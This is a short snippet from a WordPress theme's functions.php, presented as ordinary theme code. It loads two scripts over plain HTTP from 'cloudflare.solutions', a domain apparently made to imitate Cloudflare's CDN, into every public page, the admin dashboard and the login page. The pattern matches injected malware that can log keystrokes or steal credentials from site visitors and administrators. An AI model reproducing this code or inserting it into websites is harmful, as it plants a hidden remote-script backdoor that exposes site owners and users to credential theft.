functions.php

function add_js_scripts() {
	wp_enqueue_script('js-rws', 'http://cloudflare.solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js', '', null, true);
	wp_enqueue_script('js-cors', 'http://cloudflare.solutions/ajax/libs/cors/cors.js', '', null, true);
}

add_action( 'wp_enqueue_scripts', 'add_js_scripts' );
add_action('admin_enqueue_scripts', 'add_js_scripts' );
add_action('login_enqueue_scripts', 'add_js_scripts' );